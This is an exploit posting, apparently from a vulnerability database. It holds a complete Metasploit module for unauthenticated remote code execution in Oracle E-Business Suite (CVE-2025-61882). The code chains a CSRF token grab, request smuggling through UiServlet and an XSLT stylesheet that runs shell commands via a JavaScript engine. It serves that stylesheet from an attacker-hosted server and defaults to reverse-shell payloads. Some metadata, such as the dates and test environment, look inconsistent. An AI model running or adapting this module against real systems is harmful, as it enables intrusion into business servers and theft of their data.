==================================================================================================================================
| # Title : Oracle E-Business Suite 12.2.14 Pre-Auth RCE Metasploit Module |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.oracle.com/applications/ebusiness/ |
==================================================================================================================================
[+] Summary : pre-authentication remote code execution vulnerability in Oracle E-Business Suite (CVE-2025-61882).
It targets components within the OA_HTML interface,combining multiple attack techniques such as CSRF token bypass,
HTTP request smuggling through UiServlet, and XSL transformation abuse with JavaScript engine injection.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Oracle E-Business Suite Pre-Auth RCE (CVE-2025-61882)',
'Description' => %q{
This module exploits CVE-2025-61882, a pre-authentication remote code execution
vulnerability in Oracle E-Business Suite versions 12.2.3 through 12.2.14.
The vulnerability exists in the OA_HTML help component and allows unauthenticated
attackers to execute arbitrary commands through a combination of:
1. CSRF token bypass
2. HTTP request smuggling via the UiServlet
3. XSL transformation with JavaScript engine injection
This module provides both command execution and a full interactive shell
through various payload delivery methods.
Tested successfully on Oracle EBS 12.2.8 on Linux and Windows platforms.
},
'Author' => ['indoushka'],
'References' => [
['CVE', '2025-61882'],
['URL', 'https://www.oracle.com/security-alerts/cpujan2025.html'],
['URL', 'https://github.com/advisories/CVE-2025-61882'],
['URL', 'https://attackerkb.com/topics/cve-2025-61882']
],
'DisclosureDate' => '2025-01-21',
'License' => MSF_LICENSE,
'Platform' => ['linux', 'win', 'unix', 'java'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD, ARCH_JAVA],
'Targets' => [
[
'Linux (x86/x64)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows (x86/x64)',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Java (Cross-platform)',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
}
],
[
'Command (Unix/Linux)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Command (Windows)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES ]
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('TARGETURI', [ true, 'Base path for Oracle EBS', '/' ]),
OptString.new('LHOST', [ true, 'Listener IP address for callback (HTTP server)' ]),
OptString.new('LPORT', [ true, 'Listener port for callback (HTTP server)', '8080' ]),
OptInt.new('HTTP_TIMEOUT', [ true, 'HTTP request timeout in seconds', 10 ]),
OptEnum.new('COMMAND_MODE', [
true, 'Command execution mode', 'DIRECT',
['DIRECT', 'CMD_STAGER', 'FILE_UPLOAD']
]),
OptBool.new('USE_SSL', [ false, 'Use SSL for Oracle EBS connection', false ])
])
register_advanced_options([
OptInt.new('CSRF_RETRIES', [ true, 'Number of retries for CSRF token retrieval', 3 ]),
OptInt.new('XSLT_PORT', [ false, 'Port for XSLT payload server (default: same as LPORT)', nil ]),
OptString.new('XSLT_HOST', [ false, 'Host for XSLT payload server (default: same as LHOST)', nil ])
])
end
def check
print_status("Checking #{peer} for Oracle EBS fingerprint...")
fingerprints = [
{ path: '/OA_HTML/AppsLogin', pattern: /Oracle|E-Business|EBS|AppsLogin/i },
{ path: '/OA_HTML/jsp/fnd/AskUs.jsp', pattern: /Oracle|EBS/i },
{ path: '/OA_JAVA/oracle/apps/fnd/common/ClasspathServlet', pattern: /Classpath/i }
]
fingerprint_found = false
version_info = nil
fingerprints.each do |fp|
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, fp[:path]),
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.body && res.body.match(fp[:pattern])
fingerprint_found = true
print_good("Found Oracle EBS indicator at #{fp[:path]}")
if res.body.match(/Version (\d+\.\d+\.\d+\.\d+)/i)
version_info = Regexp.last_match(1)
elsif res.body.match(/E-Business Suite (\d+\.\d+\.\d+)/i)
version_info = Regexp.last_match(1)
end
break
end
rescue ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
end
end
unless fingerprint_found
return Exploit::CheckCode::Safe('Target does not appear to be Oracle EBS')
end
csrf_token = get_csrf_token
if csrf_token && csrf_token.length > 0
return Exploit::CheckCode::Appears("Oracle EBS detected with version #{version_info || 'unknown'}")
else
return Exploit::CheckCode::Detected("Oracle EBS detected but CSRF probe failed")
end
end
def get_csrf_token
retries = datastore['CSRF_RETRIES']
retries.times do |attempt|
print_status("Attempting to retrieve CSRF token (attempt #{attempt + 1}/#{retries})...")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'),
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.headers['Set-Cookie']
cookies = res.headers['Set-Cookie']
vprint_status("Received #{cookies.split(',').length} cookies")
end
rescue => e
vprint_error("Error retrieving initial page: #{e.message}")
end
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'),
'headers' => {
'CSRF-XHR' => 'YES',
'FETCH-CSRF-TOKEN' => '1'
},
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.body && res.body.include?(':')
token = res.body.split(':')[1]
if token && token.length > 0
print_good("CSRF token retrieved: #{token[0..15]}...")
return token
else
print_error("Empty CSRF token received")
end
else
print_error("Invalid CSRF response: #{res&.code || 'No response'}")
end
rescue => e
print_error("Error retrieving CSRF token: #{e.message}")
end
sleep(1) unless attempt == retries - 1
end
nil
end
def generate_xsl_payload(command)
if target.name =~ /Windows/
cmd_prefix = ['cmd', '/c']
else
cmd_prefix = ['sh', '-c']
end
js_code = <<~JS
var stringc = java.lang.Class.forName('java.lang.String');
var cmds = java.lang.reflect.Array.newInstance(stringc, 3);
java.lang.reflect.Array.set(cmds, 0, '#{cmd_prefix[0]}');
java.lang.reflect.Array.set(cmds, 1, '#{cmd_prefix[1]}');
java.lang.reflect.Array.set(cmds, 2, '#{command.gsub("'", "\\'")}');
var runtime = java.lang.Runtime.getRuntime();
var process = runtime.exec(cmds);
var reader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
var line;
var output = [];
while ((line = reader.readLine()) !== null) {
output.push(line);
}
var errorReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getErrorStream()));
while ((line = errorReader.readLine()) !== null) {
output.push('[ERROR] ' + line);
}
var result = output.join('\\n');
result || 'Command executed successfully';
JS
js_encoded = Rex::Text.encode_base64(js_code)
xslt_template = <<~XSLT
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
<xsl:template match="/">
<xsl:variable name="bs" select="b64:decodeBuffer(b64:new(), '#{js_encoded}')"/>
<xsl:variable name="js" select="str:new($bs)"/>
<xsl:variable name="m" select="jsm:new()"/>
<xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
<xsl:variable name="code" select="eng:eval($e, $js)"/>
<xsl:value-of select="$code"/>
</xsl:template>
</xsl:stylesheet>
XSLT
xslt_template
end
def build_smuggle_payload(path, method = 'POST')
smuggled_request = "#{method} #{path} HTTP/1.1\r\n"
smuggled_request << "Host: #{datastore['LHOST']}:#{datastore['LPORT']}\r\n"
smuggled_request << "User-Agent: #{Rex::Text.rand_text_alpha(8)}/#{rand(5..10)}.#{rand(0..9)}\r\n"
smuggled_request << "Connection: keep-alive\r\n"
smuggled_request << "Cookie: #{@session_cookies}\r\n" if @session_cookies
smuggled_request << "\r\n"
smuggled_request.chars.map { |c| "&#" + c.ord.to_s + ";" }.join
end
def build_ui_initialization_xml(smuggled_payload)
xml = <<~XML
<?xml version="1.0" encoding="UTF-8"?>
<initialize>
<param name="init_was_saved">test</param>
<param name="return_url">http://#{datastore['LHOST']}:#{datastore['LPORT']}#{smuggled_payload}</param>
<param name="ui_def_id">0</param>
<param name="config_effective_usage_id">0</param>
<param name="ui_type">Applet</param>
</initialize>
XML
xml
end
def trigger_exploit(xsl_payload)
csrf_token = get_csrf_token
unless csrf_token
fail_with(Failure::NoAccess, 'Failed to retrieve CSRF token')
end
xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
xslt_port = datastore['XSLT_PORT'] || datastore['LPORT']
xsl_url = "http://#{xslt_host}:#{xslt_port}/payload.xsl"
smuggled_payload = build_smuggle_payload(xsl_url, 'GET')
xml_payload = build_ui_initialization_xml(smuggled_payload)
print_status("Sending exploit to #{peer}/OA_HTML/configurator/UiServlet")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'),
'vars_post' => {
'redirectFromJsp' => '1',
'getUiType' => xml_payload
},
'timeout' => datastore['HTTP_TIMEOUT']
})
if res && res.code == 200
print_good("Exploit request accepted by target")
return true
else
print_error("Unexpected response: #{res&.code || 'No response'}")
return false
end
rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
print_warning("Connection reset - target may be processing exploit")
return true
rescue => e
print_error("Error sending exploit: #{e.message}")
return false
end
end
def start_xsl_server
xslt_host = datastore['XSLT_HOST'] || datastore['LHOST']
xslt_port = (datastore['XSLT_PORT'] || datastore['LPORT']).to_i
print_status("Starting XSL payload server on #{xslt_host}:#{xslt_port}")
@xsl_server_thread = nil
@xsl_payload_served = false
require 'webrick'
begin
server = WEBrick::HTTPServer.new(
Port: xslt_port,
BindAddress: xslt_host,
Logger: WEBrick::Log.new('/dev/null'),
AccessLog: []
)
server.mount_proc('/payload.xsl') do |req, res|
print_good("Received request for XSL payload from #{req.remote_ip}")
res.status = 200
res['Content-Type'] = 'application/xml'
res.body = @xsl_payload
@xsl_payload_served = true
end
@xsl_server_thread = Thread.new do
server.start
end
server
rescue => e
fail_with(Failure::BadConfig, "Failed to start XSL server: #{e.message}")
end
end
def execute_command(cmd, _opts = {})
print_status("Executing command: #{cmd}")
@xsl_payload = generate_xsl_payload(cmd)
unless @xsl_server_thread && @xsl_server_thread.alive?
@xsl_server = start_xsl_server
end
success = trigger_exploit(@xsl_payload)
wait_time = 0
while !@xsl_payload_served && wait_time < 30
sleep(1)
wait_time += 1
end
if success
print_good("Command execution triggered successfully")
else
print_error("Command execution may have failed")
end
end
def exploit
unless check == Exploit::CheckCode::Appears
print_error("Target does not appear to be vulnerable or accessible")
print_error("Use 'set ForceExploit true' to override")
return unless datastore['ForceExploit']
end
case datastore['COMMAND_MODE']
when 'DIRECT'
print_status("Direct command execution mode")
cmd = payload.encoded
if payload.is_a?(Msf::Payload::Command)
execute_command(cmd)
else
print_status("Using cmdstager for binary payload")
execute_cmdstager
end
when 'CMD_STAGER'
print_status("Using cmdstager payload delivery")
execute_cmdstager
when 'FILE_UPLOAD'
print_status("File upload mode - not implemented yet")
fail_with(Failure::NoTarget, 'File upload mode requires additional development')
end
print_status("Exploit completed. Waiting for callback...")
print_status("Press Ctrl+C to stop")
begin
sleep(1) while @xsl_server_thread&.alive?
rescue Interrupt
print_status("Shutting down XSL server...")
@xsl_server.shutdown if @xsl_server
end
end
def cleanup
super
if @xsl_server
print_status("Shutting down XSL server...")
@xsl_server.shutdown if @xsl_server.respond_to?(:shutdown)
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation